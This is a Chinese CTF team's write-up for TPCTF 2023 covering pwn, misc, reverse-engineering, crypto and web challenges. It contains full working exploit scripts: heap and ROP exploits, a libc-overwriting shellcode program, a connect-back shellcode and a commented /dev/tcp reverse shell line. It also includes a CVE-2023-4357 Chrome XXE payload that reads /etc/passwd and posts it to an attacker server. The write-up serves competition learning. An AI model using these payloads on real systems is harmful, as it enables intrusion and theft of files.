本次 TPCTF 2023,我们星盟ctf战队排名第6。

排名 队伍 总分
1 AAA 15970.03
2 Nepnep 10835.59
3 Nebula 8428.04
4 Lilac 7556.77
5 L3H Sec 7288.46
6 星盟ctf战队 7133.21
7 SU 7106.63
8 0psu3 7073.89
9 0RAYS 6827.64
10 bad_cat 5769

PWN

tpgc

Fuzz 出的 PoC 直接可以劫持程序流,根据 PoC 利用 printf.got 泄漏出 libc 地址。由于 PoC 需要间接跳转到我们写入的地址。但是我们只能写堆地址,故爆破堆地址。最终劫持程序流到 one_gadget,成功率1/4096

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('61.147.171.105', 64575)

def take(content):
    sh.sendlineafter(b'> ', b'1')
    sh.sendlineafter(b'here:\n', content)
def drop():
    sh.sendlineafter(b'> ', b'2')
def take2(content):
    sh.sendlineafter(b'> ', b'3')
    sh.sendlineafter(b'here:\n', content)
def drop2():
    sh.sendlineafter(b'> ', b'4')
def fuse(content):
    sh.sendlineafter(b'> ', b'5')
    sh.sendlineafter(b'here:\n', content)
def drop3():
    sh.sendlineafter(b'> ', b'6')

take2(b'a' * 2000)
take(p64(0x41D028)[:7])
fuse(b'5')
drop3()
drop2()
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x64e10
success('libc_addr: ' + hex(libc_addr))

take(p64(0x50a000 + 0x2b6c8)[:7])
take2(p64(libc_addr + 0xe6aee))
fuse(b'5')
drop3()
drop2()

sh.interactive()

core

文件目录有修改权限。

rm -f /bin/umount
echo "cat /root/flag" > /bin/umount
chmod 755 /bin/umount
exit

core revenge

文件 /lib64/libc.so.6 有修改权限。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

unsigned char shellcode[] = {
    0x48, 0x8d, 0x3d, 0x0b, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x31, 0xd2, 0xb8,
    0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x65,
    0x78, 0x70, 0x00
};

int main(int argc, char *argv[])
{
    int fd, result;
    char buf[0x100];
    setbuf(stdout, NULL);
    if(argc == 2)
    {
        puts("Stage One");
        fd = open("/lib64/libc.so.6", O_RDWR);
        if(fd < 0)
        {
            perror("open");
            exit(EXIT_FAILURE);
        }
        result = lseek(fd, 0x219D0, SEEK_SET);
        if(result < 0)
        {
            perror("lseek");
            exit(EXIT_FAILURE);
        }
        result = write(fd, shellcode, sizeof(shellcode));
        if(result < 0)
        {
            perror("write");
            exit(EXIT_FAILURE);
        }
        close(fd);
    }
    else
    {
        puts("Stage Two");
        fd = open("/root/flag", O_RDONLY);
        if(fd < 0)
        {
            perror("open");
            exit(EXIT_FAILURE);
        }
        result = read(fd, buf, sizeof(buf));
        if(result < 0)
        {
            perror("read");
            exit(EXIT_FAILURE);
        }
        write(STDOUT_FILENO, buf, result);
    }

    return 0;
}

mte notebook

程序没有去符号表,根据其内部所包含的字符串可以确定是使用glibc-2.38进行静态编译的。

程序主要的两个结构题如下:

00000000 note struc ; (sizeof=0x80, mappedto_34)
00000000 field_0 DCQ ?
00000008 title DCB 16 dup(?)
00000018 page DCQ ?                              ; offset
00000020 description DCB 96 dup(?)
00000080 note ends

00000000 page struc ; (sizeof=0x70, mappedto_33)
00000000 current DCQ ?
00000008 next DCQ ?                              ; offset
00000010 contents DCB 64 dup(?)
00000050 field_50 DCQ ?
00000058 field_58 DCQ ?
00000060 field_60 DCQ ?
00000068 field_68 DCQ ?
00000070 page ends

程序本身存在 Heap Overflow 和 UAF 漏洞,由于开启了 MTE ,直接使用 Heap Overflow 和 UAF 漏洞会报错。

通过大量调试可知修改 Heap 大概率会触发 MTE 异常,即使使用Chunk Overlap利用方式也会触发 MTE 异常。

程序本身还有一个未初始化漏洞,该漏洞可以让我们将next指针指向一个非堆地址,这种情况下则不会触发 MTE 异常。

void __noreturn notebook()
{
  ...
      case 5uLL:
        v5 = (page *)malloc(0x70LL); // uninitilized
        if ( page )
        {
          page->next = v5;
          v5->current = page->current + 1;
        }
        else
        {
          v6[index_4]->page = v5;
          v5->current = 0LL;
        }
        page = v5;
        break;
  ...
}

因此我们可以先利用程序的 Drop Notebook 填满 tcache (size:0x90),然后继续 Drop NotebookNotebook 放入 unsorted bin 中,当我们申请page的时候(Add Page功能),unsorted bin中的chunk将会被放入smallbin后取出,此时该chunk会残留 main_arena 信息,也就是page的next指针将会残留 main_arena 信息,故此可以控制 main_arena 。

随后提前在 main_arena 布置 next 指针,再走一遍 Drop NotebookAdd Page 功能,之后就能控制next指针,从而实现任意地址写。

由于程序一开头已经给了栈地址,并且程序基地址固定,因此直接劫持栈进行ROP,最终调用 SYS_execve("/bin/sh", ["/bin/sh", NULL], NULL) 获取 shell 。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

qemu = True
sh = remote("202.112.238.82",10000)

import hashlib
import string
sh.recvuntil(b'sha256(XXXX+')
content = sh.recvuntil(b') == ', drop=True)
hash = sh.recvuntil(b'\n', drop=True).decode()
def get_XXXX(hash_expected):
    table = string.digits + string.ascii_letters
    for XXXX_0 in table:
        for XXXX_1 in table:
            for XXXX_2 in table:
                for XXXX_3 in table:
                    XXXX_tmp = XXXX_0 + XXXX_1 + XXXX_2 + XXXX_3
                    XXXX_tmp = XXXX_tmp.encode()
                    if hashlib.sha256(XXXX_tmp + content).hexdigest() == hash_expected:
                        return XXXX_tmp
XXXX = get_XXXX(hash)
sh.recvuntil(b'Give me XXXX: ')
sh.sendline(XXXX)

def sendlineafter(delim, data):
    sh.recvuntil(b'> ')
    sh.sendline(data)
    if qemu:
        sh.recvuntil(data)

def edit_page(values):
    sh.recvuntil(b'7. Exit')
    sh.recvuntil(b'> ')
    sh.sendline(b'3')
    if qemu:
        sh.recvuntil(b'3')
    sh.recvuntil(b'longs (in hex)')
    for v in values:
        sh.recvuntil(b'> ')
        sh.sendline(hex(v).encode())

def next_page():
    sh.recvuntil(b'7. Exit')
    sh.recvuntil(b'> ')
    sh.sendline(b'4')
    if qemu:
        sh.recvuntil(b'4')

def add_page():
    sh.recvuntil(b'7. Exit')
    sh.recvuntil(b'> ')
    sh.sendline(b'5')
    if qemu:
        sh.recvuntil(b'5')

def drop_notebook():
    sh.recvuntil(b'7. Exit')
    sh.recvuntil(b'> ')
    sh.sendline(b'6')
    if qemu:
        sh.recvuntil(b'6')
    sh.recvuntil(b'Are you sure?')
    sh.recvuntil(b'> ')
    sh.sendline(b'1')
    if qemu:
        sh.recvuntil(b'1')

def choose_notebook(index):
    sh.recvuntil(b'7. Exit')
    sh.recvuntil(b'> ')
    sh.sendline(b'1')
    if qemu:
        sh.recvuntil(b'1')
    sh.recvuntil(b'> ')
    sh.sendline(str(index).encode())
    if qemu:
        sh.recvuntil(str(index).encode())

sh.recvuntil(b"I've put flag1 in ")
flag1 = int(sh.recvuntil(b',', drop=True), 16)
success('flag1: ' + hex(flag1))
sendlineafter(b'> ', b'2')

for i in range(8):
    choose_notebook(i)
    drop_notebook()
choose_notebook(9)
add_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()

edit_page([0x61, flag1-0x90, 0])
choose_notebook(8)
drop_notebook()
choose_notebook(9)
add_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()

edit_page([0x61, 0x00000000004521b8, 1, flag1-0x80+0x10, 3, 0x42629c, flag1+0x1d0, 6, flag1] + [i + 1 for i in range(0xb)] + [0x400260] + [i + 1 for i in range(0xa)] + [0x45d028, 221] + [i + 1 for i in range(0x1c)] + [0x41a628, 1, 0x00000000004521b8, 0x413c64, 1, 2, 3, 4, 0x413c64, flag1+0x1c8] + [0x68732f6e69622f, flag1+0x1c8, 0])

sh.interactive()

safehttpd

漏洞点比较多的一道题目

  1. root 账号申请的堆块的密码是由 srand 生成的,且 time(0) 可以被预测

    srand(seed);
        for ( i = 0; i <= 12; ++i )
        {
        do
        {
            do
            v1 = rand();
            while ( v1 <= 32 );
        }
        while ( v1 == 127 );
        v5[i] = v1;
        }
        v5[13] = 0;

    这就给了我们预测 root 账号密码的机会

    #include <stdio.h>
    
    int main(){
        unsigned int seed = time(0LL);
        char v1 = 0;
        char v5[0x10];
        srand(seed);
        for (int i = 0; i <= 12; ++i )
        {
        do
        {
            do
            v1 = rand();
            while ( v1 <= 32 );
        }
        while ( v1 == 127 );
        v5[i] = v1;
        }
        v5[13] = 0;
        write(1, v5, sizeof(v5));
    }

    将上面代码编译后,在 exp 中如下调用,就可以预测出 root 账号密码了

    def init(fd):
        pl = 'GET /init\nStdout: ' + str(fd) + '\n'
        sl(pl)
        rand = process('get_rand')
        value = rand.recv(13)
        rand.close()
        return value
  2. sprintf 函数拼接导致栈溢出

    当我们预测出 root 账号时候,是可以申请一个 0x4f8 大小的堆块,并且可以控制堆块数据的

    unsigned __int64 __fastcall sub_18E9(int a1, const char *a2)
    {
        size_t v2; // rax
        size_t v3; // rax
        size_t v4; // rax
        size_t v5; // rax
        char s[1032]; // [rsp+10h] [rbp-410h] BYREF
        unsigned __int64 v8; // [rsp+418h] [rbp-8h]
       
        v8 = __readfsqword(0x28u);
        sprintf(s, "HTTP/1.0 400 BAD REQUEST\r\n");
        v2 = strlen(s);
        write(a1, s, v2);
        sprintf(s, "Content-type: text/html\r\n");
        v3 = strlen(s);
        write(a1, s, v3);
        sprintf(s, "\r\n");
        v4 = strlen(s);
        write(a1, s, v4);
        sprintf(s, "%s\r\n", a2);                     // 截断
        v5 = strlen(s);
        write(a1, s, v5);
        return v8 - __readfsqword(0x28u);
    }

可以发现 a2 会被拼接到 1032 的空间,那么就会导致栈溢出

  1. register 功能正常注册堆块的 uid 权限伪造

如果我们把用户名写成

a:b:0 

之后我们使用 show 和 edit 功能就可以有权限使用了

当然这些都没啥用,因为栈溢出是无法泄露出 canary 的,这里的漏洞点是一个 cve

https://sourceware.org/bugzilla/show_bug.cgi?id=30068

*((_QWORD *)head_chunk + 6) = malloc(len);
   memset(*((void **)head_chunk + 6), 0, len);
   *((_DWORD *)head_chunk + 0xE) = len;
   sprintf((char *)head_chunk + 0x10, "%-8s:%-13s:%-'8d", v9, pawd, uid);

这样的话,在 register 功能中,就可以利用这个 cve 溢出 \x00 到 0x40 堆块上的 下级堆块指针

这里还需要注意 fd ,每次 http 请求时候,fd 被使用过就会被 close,使用需要在每次发送 http 请求时候都重置一次 fd

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('122.9.149.82', 9999)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def init(fd):
    pl = 'GET /init\nStdout: ' + str(fd) + '\n'
    sl(pl)
    rand = process('get_rand')
    value = rand.recv(13)
    rand.close()
    return value

def setlocal(data, fd):
    pl = 'GET /setlocale?' + data + '\nStdout: ' + str(fd) + '\n'
    sl(pl)
def reg(name, pawd, uid, size, fd):
    pl = 'GET /register?' + 'username=' + name + '&password=' + pawd + '&uid=' + str(uid) + '&len=' + str(size) + '\nStdout: ' + str(fd) + '\n'
    sl(pl)
def test(data):
    pl = 'GET /test' + data + '\n'
    sl(pl)
def logoff(name, pawd, fd):
    pl = 'GET /logoff?' + 'username=' + name + '&password=' + pawd + '\nStdout: ' + str(fd) + '\n'
    sl(pl)
def show(name, pawd, fd):
    pl = 'GET /show?' + 'username=' + name + '&password=' + pawd + '\nStdout: ' + str(fd) + '\n'
    sl(pl)
def edit(name, pawd, size, data, fd):
    pl = b'POST /note?' + b'username=' + name + b'&password=' + pawd + b'\nContent-Length: ' + str(size).encode() + b'\nStdout: ' + str(fd).encode() + b'\n'
    sl(pl)
    sleep(1)
    s(data)
def exit_():
    pl = 'GET /poweroff\n'
    sl(pl)

pas1 = init(3)
logoff('root', pas1.decode(), 3)
pas1 = init(3)
show('root', pas1.decode(), 1)
libc_base = l64() - 0x1f6ce0

reg('b', 'b', 0x3e8, 0x50, 3)
reg('c', 'b', 0x3e8, 0x50, 3)
logoff('c', 'b', 3)

setlocal('=' + 'en_US.UTF-8', 3)
#debug('b *$rebase(0x357c)\nb *$rebase(0x34f3)\n')
reg('a:b:0', '0', 0x3e8, 0x10, 3)
reg('c:c:0', '0', 0x3e8, 0x400, 3)

environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x1f3240

#debug('b *$rebase(0x357c)')

pl = p64(0)*2 + b'a:b:0'.ljust(0x20, b'\x00') + p64(environ) #+ p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)

#debug('b *$rebase(0x1a32)')

show('a', 'b', 2)

stack = l64()

#debug('b *$rebase(0x357c)')
pl = b'\x00'*0x80 + b'a:b:0'.ljust(0x20, b'\x00') + p64(stack - 0xca0) + p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)

#debug('b *$rebase(0x357c)\nb *$rebase(0x34f3)\n')

rdi = libc_base + 0x240e5
rsi = libc_base + 0x2573e
rdx = libc_base + 0x26302
rax = libc_base + 0x40123
ret = libc_base + 0x23159
mprotect = libc_base + libc.sym['mprotect']

#pl = p64(ret) + p64(rdi) + p64(stack - 0xca0 + 0x20) + p64(system)
#pl += b'/bin/sh'
#pl += b'/bin/sh -i >& /dev/tcp/x/x 0>&1\x00'

#debug('b *$rebase(0x357c)')
pl = p64(rdi) + p64((stack >> 16) << 16) + p64(rsi) + p64(0x10000) + p64(rdx) + p64(0x7)
pl += p64(mprotect) + p64(stack - 0xca0 + 0x40)
pl += asm(shellcraft.connect('xx.xx.xx.xx.xx', xx) + shellcraft.open('/flag') + shellcraft.read(2, stack + 0x1000, 0x100) + shellcraft.write(1, stack + 0x1000, 0x100))

edit(b'a', b'b', len(pl), pl, 3)

lg('stack', stack)
lg('stdout', stdout)
lg('libc_base', libc_base)
#debug()
inter()

pause()

#debug()
pause()

MISC

小 T 的日常

SIGNIN: Ingress

搜了一下说是 rot13 后的链接,根据题目说要在 protal 附近,改一下定位:

safebox

因为最终的解实际上只和文件路径有关,所有相同文件明创建后的差是一样的,虽然不能读,但是创建一个一样的文件之后能读出一样的编译,已知明文的话就能拿到插值了。

int main()
{
    unsigned char  test[] = { 95,239,75,157,61,65,98,121,92,104,215,6,10,170,55,62,118,173,100,33,95,99,20,115,17,192,112,224,193,202,45,135,95,239,75,157,61,65,98,121,92,104 };
    unsigned char kk[] = { 82,222,45,144,34,91,49,101,98,102,220,198,245,124,53,37,100,152,54,228,93,58,5,66,251,164,110,242,160,207,49,94,77,230,103 };

    for (int i = 0; i < 42; i++)
    {
        test[i] -= 'a';
    }

    for (int i = 0; i < 35; i++)
    {
        kk[i] -= test[i];
    }
}

RE

maze

Python编译成的so文件

img

设置libc.so的断点 不断地调试 发现逻辑就是输入的每个字符与固定的值xor

然后与结果对比

关键函数在4maze_3c29sdmU中

在两个关键点设置断点

img

img

会发现每次传入一个数据

并且与已知数据进行异或 然后与一个固定值进行对比

不断调试 再根据pyobject结构体数据特点 取出相关的值 xor一下就可以

cin = "Tbcdefghijklmnopqrstuvwxyz0123456"

secert=[25, 23, 4, 5, 47, 63, 7, 60, 11, 16, 49, 49, 25, 37, 9, 39, 4, 112, 38, 25, 7, 15, 11, 61, 2, 14, 3, 36, 40, 26, 102, 62]

xor_data=[73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67]

print("T")

for i in range(32):

  print(chr(secert[i]^xor_data[i]),end='')

print(len(xor_data))

funky

程序会把输入的数据转化为二进制的形式

每一个比特用一个int类型数据表示

0x80000000代表 0 0x000000000代表1

可编写ida python脚本提取数据

img

程序大概有三个函数进行加密

img

一些函数表面上全都等于零 实际上实现了xor的操作(或者加法操作)

img

不断动调分析逻辑和加密代码即可

分别写出三个加密函数的逆向解密代码即可


# print(bin(0xd04c)[2:].rjust(16,'0'))#

# print(bin(0x2bbd)[2:].rjust(16,'0')) #输入

 

# print(bin(0x8e91)[2:].rjust(16,'0'))#前一轮输出

# print(bin(0x341d)[2:].rjust(16,'0'))

# print(bin(0x5edd)[2:].rjust(16,'0'))

 

# print(bin(0x6ac0)[2:].rjust(16,'0'))#输出

# print(bin(0x341d)[2:].rjust(16,'0'))

 

# stack 0x341d,

# stack 0x90bf #输入

 

# stack 0x6ac0,#前一轮输出

# stack 0x9cef,

# stack 0x5edd,

 

# stack 0xc232,#输出

# stack 0x9cef,

 

# func(0x5EDD,0x1a44) == 0x1ea7

# func(0x1ea7,0xb5e0) == 0x841c

 

# cin = [0xe674,0xfd58]

# out = [0x5145,0x5566]

# for i in range(2):

#   print(hex(cin[i]^0x6f08^0x5EDD))

#

#7e10  

"""

stack 0xde10,

stack 0xc8a1,

stack 0xe5c3,

stack 0xbf07,

stack 0xa8f,

stack 0x151e,

stack 0x2a3c,

stack 0x5478,

stack 0xa8f0,

stack 0x2561,

stack 0x4ac2,

stack 0x9584,

stack 0x5f89,

stack 0xbf12,

stack 0xaa5,

stack 0x154a,

"""

def enc3(data):

  tmp = 0x6f08

  out = 0

  double = 0x7481

  a1= 0

  v8 = "0"

  for i in bin(data)[2:].rjust(16,'0')[::-1]:

    v21= 0

    flag = i

    if(flag=="1"):

      v21 = tmp

    v29=v21

    out  = a1 ^ v29

    #print(hex(a1) + "^" + hex(v29) +"="+ hex(out))

    a1 = out

    v29 = 0

    flag = v8

    if(flag=="1"):

      v29 = double

    v21 = (tmp*2) &0xffff

    out = v21 ^ v29 

    #out ^= 0xffff

    tmp = out

    v8 = bin(tmp)[2:].rjust(16,'0')[0]

    # print("v8",bin(tmp)[2:].rjust(16,'0'))

    #print(hex(tmp))

  return a1^0x5edd

# ans = enc3(0xe674)

# print(hex(ans))

enc = [  0xBE, 0x13, 0x05, 0xF3, 0x10, 0x61, 0xDA, 0x69,  0x39, 0x7B, 0x8B, 0x4A, 0x89, 0xB4, 0x64, 0xB5,0x32, 0xAE, 0x15, 0x84, 0xC1, 0x85, 0x45, 0xD9, 0xA9, 0x1D, 0xB6, 0x7C, 0xF6, 0x93, 0x88, 0xF6]

import struct

word_datas = struct.unpack('<16H', bytes(enc)) # 输出转换后的 Word 类型数据

# arr2 = []

# for i in word_datas:

#   for j in range(0xffff+1):

#     if(enc3(j) == i):

#       arr2.append(j)

#       break

arr2=[28748, 9316, 25108, 36707, 36516, 45275, 2160, 1639, 38774, 25963, 5323, 26887, 32085, 28749, 31722, 48268]

print(hex(arr2[0]))

data = [ j for j in b"".join([struct.pack("<H",i) for i in arr2])]

#print(data)

table = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 

 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 

 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 

 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 

 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 

 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 

 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 

 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 

 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 

 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 

 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 

 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 

 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 

 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 

 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 

 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 

 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 

 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 

 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 

 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 

 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 

 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 

 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 

 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 

 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 

 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ]

# def rol(x):

#   return ((x<<1) | (x>>7)) &0xff

# for base in [8,16,24,0]:

#   for j in range(32):

#     for i in range(8):

#       sum = (cin[base+i-8]+ cin[base+i]) &0xff

#       cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] + table[sum])& 0xff

#       cin[base+((i+1) % 8)] = rol(cin[base+((i+1) % 8)])

cin = [0x96,0x94,0xde,0xca,0x2e,0x79,0x4b,0xb8,0x90,0xf4,0x4,0x7f,0x2f,0x4c,0x5e,0xc,0xcb,0xa,0x25,0xa6,0x67,0x91,0x60,0x30,0x2d,0x92,0xcc,0xc5,0xdb,0xa2,0xf6,0x42]

cin = data

def lol(x):

  return ((x<<7) | (x>>1)) &0xff

for base in [8,16,24,0][::-1]:

  for j in range(32):

    for i in range(7,-1,-1):

      cin[base+((i+1) % 8)] = lol(cin[base+((i+1) % 8)])

      sum = (cin[base+i-8]+ cin[base+i]) &0xff

      cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] - table[sum])& 0xff

      # sum = (cin[base+i-8]+ cin[base+i]) &0xff

      # cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] + table[sum])& 0xff

      # cin[base+((i+1) % 8)] = rol(cin[base+((i+1) % 8)])

print(cin)

from string import printable 

print(printable)

#dic="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_-"

cin1 = [ord(i) for i in "abcdefghijklmnopqrstuvwxyz012345"]

out1  = [0x4f,0x13,0x27,0xab,0x9f,0xc3,0xf7,0xb8,0x8c,0xd0,0xe4,0x68,0x5c,0x0,0x34,0x9e,0xaa,0xf6,0xc2,0x4e,0x7a,0x26,0x12,0x5d,0x69,0x35,0xaf,0x9b,0xc7,0xf3,0x7f,0x4b]

cin2 = [ord(i) for i in "6789ABCDEFGHIJKLMNOPQRSTUVWXYZ!_"]

out2 =[0x17,0x23,0x6c,0x58,0xe6,0xba,0x8e,0x2,0x36,0x6a,0x5e,0x11,0x25,0x79,0x4d,0xc1,0xf5,0xa9,0x9d,0x37,0x3,0x5f,0x6b,0xe7,0xd3,0x8f,0xbb,0xf4,0xc0,0x9c,0x7e,0x78,]

cin3 = [ord(i) for i in "1!#$%&'()*+,-./:;<=>?@[\]^_`{|}~"]

out3= [0x9b,0x7e,0x16,0x9a,0xae,0xf2,0xc6,0x89,0xbd,0xe1,0xd5,0x59,0x6d,0x31,0x5,0x4,0x30,0xbc,0x88,0xd4,0xe0,0xd2,0xa8,0x24,0x10,0x4c,0x78,0x7b,0x1,0x8d,0xb9,0xe5,]

dic = {}

for i,j in zip(cin1,out1):

  dic[j] = i

for i,j in zip(cin2,out2):

  dic[j] = i

for i in cin:

  print(chr(dic[i]),end='')

Crypto

sort (teaser)

利用报错实现类侧信道攻击,逐位爆破出flag。

from pwn import *
import libnum, string
# context.log_level = 'debug'

# 测长度
LEN = 0
flag = 'TPCTF{'
table = string.printable[:-6]
for i in range(26):
    try:
        sh = remote('202.112.238.82', 13371)
        sh.sendlineafter(b'Enter your function A:', f'C=A>>{i*8}'.encode())
        sh.sendline(f'B=C!={libnum.s2n(flag)}'.encode())
        sh.sendline(b'EOF')
        sh.recvline_contains(b'You did not sort correctly')
    except:
        LEN = i
        print(f"{LEN=}")
        break

# 逐位爆破flag
for i in range(1, LEN+1):
    for char in table:
        sh = remote('202.112.238.82', 13371)
        try:
            sh.sendlineafter(b'Enter your function A:', f'C=A>>{(LEN-i) * 8}'.encode())
            sh.sendline(f'B=C!={libnum.s2n(flag+char)}'.encode())
            sh.sendline(b'EOF')
            sh.recvline_contains(b'You did not sort correctly')
        except:
            flag += char
            print(f"{flag=}")  # TPCTF{A_strAnge_s1de_channel}
            break

WEB

xss-bot

连接nc

filename提示时输入

poc.svg

然后input提示时输出

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///etc/passwd">
  <!ENTITY passwd_c SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
      </div>
      <script>
        document.querySelectorAll('p').forEach(p => {
          var url = 'http://你的服务器ip';
          var formData = 'filename=' + p.className + '&amp;result=' + btoa(p.innerHTML);
          var xhr = new XMLHttpRequest();
          xhr.open('POST', url, true);
          xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
          xhr.send(formData);
        });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>

这是利用chorm92版本在sandbox模式下,对文件权限过滤不严,产生的xxe漏洞。

原理是CVE-2023-4357-Chrome-XXE

xss-boot-but-no-internet

连接nc

filename提示时输入

poc.svg

然后input提示时输出

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///flag">
  <!ENTITY passwd_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p id="res" class="&passwd_p;">&passwd_c;</p>
      </div>
      <script>
            function compare(){
                let result = document.getElementById('res').innerText;
                let compareStr = "TPCTF{ea5y5C4}";
                if(result.substring(0, compareStr.length) === compareStr){
                    sleep();
                }
            }
            function sleep(){
                let n = 0;
                while (true){
                    n++;
                }
            }
            function getIndex(char) {
              var list = "klmnopqrstuvwxyzabcdefghij_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
              return list.indexOf(char);
            }
      </script>
        <iframe onload="compare()" src="http://127.0.0.1"></iframe>
        <iframe onload="" src="http://127.0.0.1"></iframe>
    </body>
  </xsl:template>
</xsl:stylesheet>

跟xss-bot类似,但是反馈不能直接出网,只能借助报错,按照有无报错以二分法传出数据。

# Stage 2
try:
    options.add_argument("--no-sandbox")  # sandbox not working in docker
...
        driver.set_page_load_timeout(15)
        driver.get("http://localhost:"+port_id+"/"+file_name)
...
except Exception as e:
    print("ERROR", type(e))
    print("I'll not give you exception message this time.")

原理是CVE-2023-4357-Chrome-XXE